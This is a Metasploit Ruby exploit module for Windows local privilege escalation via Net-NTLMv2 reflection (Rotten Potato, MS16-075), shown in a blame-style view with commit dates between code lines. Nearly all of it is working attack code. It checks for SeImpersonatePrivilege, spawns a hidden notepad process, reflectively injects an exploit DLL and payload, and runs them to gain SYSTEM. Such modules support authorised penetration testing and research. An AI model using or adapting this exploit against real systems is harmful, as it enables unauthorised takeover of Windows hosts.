Files
metasploit-gs/modules/exploits/windows/local/ms16_075_reflection.rb
T

145 lines
5.3 KiB
Ruby
Raw Normal View History

2018-08-03 02:09:24 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/reflective_dll_injection'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC',
2018-10-02 14:40:55 -05:00
'Description' => %q(
2018-08-12 12:40:03 -04:00
Module utilizes the Net-NTLMv2 reflection between DCOM/RPC
2018-08-12 07:12:24 -04:00
to achieve a SYSTEM handle for elevation of privilege. Currently the module
2018-08-12 12:40:03 -04:00
does not spawn as SYSTEM, however once achieving a shell, one can easily
2018-08-12 07:12:24 -04:00
use incognito to impersonate the token.
2018-10-02 14:40:55 -05:00
),
2018-08-03 02:09:24 -04:00
'License' => MSF_LICENSE,
'Author' =>
[
'FoxGloveSec', # the original Potato exploit
'breenmachine', # Rotten Potato NG!
2018-08-18 07:22:59 -04:00
'Mumbai' # Austin : port of RottenPotato for reflection & quick module
2018-08-03 02:09:24 -04:00
],
2018-10-02 14:40:55 -05:00
'Arch' => [ARCH_X86, ARCH_X64],
2018-08-03 02:09:24 -04:00
'Platform' => 'win',
2018-10-02 14:40:55 -05:00
'SessionTypes' => ['meterpreter'],
2018-08-03 02:09:24 -04:00
'DefaultOptions' =>
{
'EXITFUNC' => 'none',
2018-10-02 14:40:55 -05:00
'WfsDelay' => '20'
2018-08-03 02:09:24 -04:00
},
'Targets' =>
[
2018-10-02 14:40:55 -05:00
['Automatic', {}],
['Windows x86', { 'Arch' => ARCH_X86 }],
['Windows x64', { 'Arch' => ARCH_X64 }]
2018-08-03 02:09:24 -04:00
],
'Payload' =>
{
'DisableNops' => true
},
'References' =>
[
['MSB', 'MS16-075'],
2018-09-18 19:57:04 -05:00
['CVE', '2016-3225'],
2018-08-03 02:09:24 -04:00
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],
2018-08-18 07:22:59 -04:00
['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],
['URL', 'https://github.com/breenmachine/RottenPotatoNG']
2018-08-03 02:09:24 -04:00
],
'DisclosureDate' => 'Jan 16 2016',
'DefaultTarget' => 0
}))
end
2018-10-02 14:40:55 -05:00
def assign_target
2018-10-02 14:06:25 -05:00
if target.name == 'Automatic'
case sysinfo["Architecture"]
2018-10-02 14:40:55 -05:00
when 'x86'
vprint_status("Found we are on an x86 target")
my_target = targets[1]
when 'x64'
vprint_status("Found we are on an x64 target")
my_target = targets[2]
else
fail_with(Failure::NoTarget, "Unable to determine target")
2018-08-03 02:09:24 -04:00
end
2018-10-02 14:06:25 -05:00
else
my_target = target
2018-08-03 02:09:24 -04:00
end
2018-10-02 14:06:25 -05:00
return my_target
2018-08-03 02:09:24 -04:00
end
2018-09-18 19:57:04 -05:00
2018-10-02 14:06:25 -05:00
def verify_arch(my_target)
if my_target["Arch"] != sysinfo["Architecture"]
2018-10-02 14:40:55 -05:00
print_error("Assigned Target Arch = #{my_target.opts['Arch']}")
print_error("Actual Target Arch = #{sysinfo['Architecture']}")
2018-10-02 14:06:25 -05:00
fail_with(Failure::BadConfig, "Assigned Arch does not match reality")
end
if client.arch != sysinfo["Architecture"]
fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported")
else
vprint_good("Current payload and target Arch match....")
end
end
2018-10-02 14:40:55 -05:00
2018-08-23 16:54:22 -04:00
def check
privs = client.sys.config.getprivs
if privs.include?('SeImpersonatePrivilege')
2018-10-02 14:40:55 -05:00
return Exploit::CheckCode::Appears
2018-08-23 16:54:22 -04:00
end
return Exploit::CheckCode::Safe
end
2018-08-03 02:09:24 -04:00
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
2018-10-02 14:40:55 -05:00
my_target = assign_target
print_status("#{my_target['Arch']}")
2018-10-02 14:06:25 -05:00
verify_arch(my_target)
2018-10-04 16:38:35 -05:00
if check == Exploit::CheckCode::Safe
fail_with(Failure::NoAccess, 'User does not have SeImpersonate Privilege')
end
2018-10-02 14:40:55 -05:00
if my_target.opts['Arch'] == 'x64'
2018-10-02 14:06:25 -05:00
dll_file_name = 'rottenpotato.x64.dll'
vprint_status("Assigning payload rottenpotato.x64.dll")
2018-10-02 14:40:55 -05:00
elsif my_target.opts['Arch'] == 'x86'
2018-10-02 14:06:25 -05:00
dll_file_name = 'rottenpotato.x86.dll'
vprint_status("Assigning payload rottenpotato.x86.dll")
else
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code")
2018-08-03 02:09:24 -04:00
end
print_status('Launching notepad to host the exploit...')
2018-10-02 14:40:55 -05:00
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
2018-08-03 02:09:24 -04:00
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "rottenpotato", dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end